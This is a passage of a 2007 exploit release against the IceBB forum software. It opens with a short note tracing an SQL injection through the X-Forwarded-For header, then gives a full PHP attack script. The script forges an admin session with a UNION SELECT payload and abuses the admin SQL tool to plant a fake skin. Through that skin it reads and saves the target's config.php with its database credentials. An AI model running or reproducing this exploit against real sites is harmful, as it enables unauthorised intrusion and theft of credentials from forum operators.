./includes/functions.php, line 73 $ip = empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['REMOTE_ADDR'] : $_SERVER['HTTP_X_FORWARDED_FOR']; $ip = $this->clean_key($ip); $input['ICEBB_USER_IP'] = $ip; > ./icebb.php, line 169 $icebb->client_ip = $input['ICEBB_USER_IP']; > ./admin/index.php, line 112 $icebb->adsess = $db->fetch_result("SELECT adsess.*,u.id as userid,u.username,u.temp_ban,g.g_view_board FROM icebb_adsess AS adsess LEFT JOIN icebb_users AS u ON u.username=adsess.user LEFT JOIN icebb_groups AS g ON u.user_group=g.gid WHERE adsess.asid='{$icebb->input['s']}' AND adsess.ip='{$icebb->client_ip}' LIMIT 1"); A hacker could exploit this security breach in order to alter a SQL request. [|Advisory:|] http://www.aeroxteam.fr/advisory-IceBB-1.0rc6.txt [|Solution:|] No one. Think about update your forum core when a patch will be available on the official website. Discovered by Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com) for AeroX (AeroXteam.fr) (C)opyleft 2007 Greetz: Math², KERNEL_ERROR, NeoMorphS, Snake91, Goundy, Alkino (...) And everybody from #aerox \*---------------------------------------------------------*/ if(count($argv) == 4) { head(); if($argv[3] != 1 && $argv[3] != 2) { die("\r\nIncorrect version !"); } else { $version = $argv[3]; } ############## PART 1 ############## echo "[+] Connecting... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } echo "OK\r\n"; echo "[+] Getting tables prefix... "; $query1 = "GET ".$argv[2]."index.php?s=fake_sid&act=sql HTTP/1.1\r\n"; $query1 .= "Host: ".$argv[1]."\r\n"; $query1 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query1 .= "X-Forwarded-For: ".getInj()."\r\n"; $query1 .= "Accept: */*\r\n"; $query1 .= "Connection: Close\r\n\r\n"; fwrite($sock, $query1); $result1 = ''; while(!feof($sock)) { $result1 .= fgets($sock); } fclose($sock); if(preg_match("``", $result1, $expreg)) { if($expreg[1] == '') { echo "Failed\r\n\r\nExploit Failed :("; die(); } $prefix = $expreg[1]; echo "OK (".$expreg[1].")\r\n"; } else { echo "Failed\r\n\r\nExploit Failed :("; die(); } ############## PART 2 ############## echo "[+] Creating fake skin... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $postdata2 = "act=sql&func=runquery&query=INSERT+INTO+%60".$prefix."skins%60+%28%60skin_id%60%2C+%60skin_name%60%2C+%60skin_author%60%2C+%60skin_site%60%2C+%60skin_folder%60%2C+%60skin_preview%60%2C+%60skin_is_default%60%2C+%60skin_is_hidden%60%2C+%60skin_wrapper%60%2C+%60skin_macro_cache%60%2C+%60smiley_set%60%29+VALUES+%28666%2C+0x6F776E4564%2C+0x6834783072%2C+0x687474703A2F2F7777772E676F6F676C652E6672%2C+0x2E2E%2C+0x00%2C+0%2C+1%2C+0x00%2C+0x00%2C+0x00%29%3B"; $query2 = "POST ".$argv[2]."index.php?s=fake_sid HTTP/1.1\r\n"; $query2 .= "Host: ".$argv[1]."\r\n"; $query2 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query2 .= "X-Forwarded-For: ".getInj()."\r\n"; $query2 .= "Accept: */*\r\n"; $query2 .= "Connection: Close\r\n"; $query2 .= "Content-Type: application/x-www-form-urlencoded\r\n"; $query2 .= "Content-Length: ".strlen($postdata2)."\r\n\r\n"; $query2 .= $postdata2; fwrite($sock, $query2); $result2 = ''; while(!feof($sock)) { $result2 .= fgets($sock); } fclose($sock); if(strpos($result2, "INSERT INTO `".$prefix."skins` (`skin_id`, `skin_name`, `skin_author`, `skin_site`, `skin_folder`, `skin_preview`, `skin_is_default`, `skin_is_hidden`, `skin_wrapper`, `skin_macro_cache`, `smiley_set`) VALUES (666, 0x6F776E4564, 0x6834783072, 0x687474703A2F2F7777772E676F6F676C652E6672, 0x2E2E, 0x00, 0, 1, 0x00, 0x00, 0x00);") === FALSE) { echo "Failed. Maybe Skin already exists ?\r\n"; } else { echo "OK\r\n"; } ############## PART 3 ############## echo "[+] Getting config.php... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $query3 = "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=templates&skinid=666&code=edit&template=config HTTP/1.1\r\n"; $query3 .= "Host: ".$argv[1]."\r\n"; $query3 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query3 .= "X-Forwarded-For: ".getInj()."\r\n"; $query3 .= "Accept: */*\r\n"; $query3 .= "Connection: Close\r\n\r\n"; fwrite($sock, $query3); $result3 = ''; while(!feof($sock)) { $result3 .= fgets($sock); } fclose($sock); if(preg_match("`(<\?php.*\?>)`s", $result3, $expreg2)) { echo "OK\r\n\r\n"; echo $expreg2[1]; } else { echo "Failed\r\n\r\nExploit Failed :("; } ############## PART 4 ############## echo "\r\n\r\n[+] Removing fake skin... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $query4 = "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=disable&skinid=666 HTTP/1.1\r\n"; $query4 .= "Host: ".$argv[1]."\r\n"; $query4 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query4 .= "X-Forwarded-For: ".getInj()."\r\n"; $query4 .= "Accept: */*\r\n"; $query4 .= "Connection: Close\r\n\r\n"; fwrite($sock, $query4); fclose($sock); echo "OK\r\n\r\n"; echo "Do you want to create a local config.php file ? (Y/N) "; $a = strtoupper(trim(fgets(STDIN))); if($a == 'Y') { $handle = fopen('config_'.$argv[1].'_'.time().'.php', 'w'); fwrite($handle, $expreg2[1]); fclose($handle); } } else { usage(); } function getInj() { global $version; if($version == 1) { return "' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username /*"; } elseif($version == 2) { return "' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username, 0 as temp_ban, 1 as g_view_board /*"; } } function usage() { echo "+-------------------------------------------------------+\r\n"; echo "| IceBB <= 1.0-rc6 Database Authentication Details |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "| Usage: php exploit.php site.com /pathtoadmin/ version |\r\n"; echo "| Version: 1 = rc5 |\r\n"; echo "| 2 = rc6 |\r\n"; echo "+-------------------------------------------------------+\r\n"; } function head() { echo "+--------------------------------------------------+\r\n"; echo "| IceBB <= 1.0-rc6 Database Authentication Details |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "+--------------------------------------------------+\r\n\r\n"; } ?>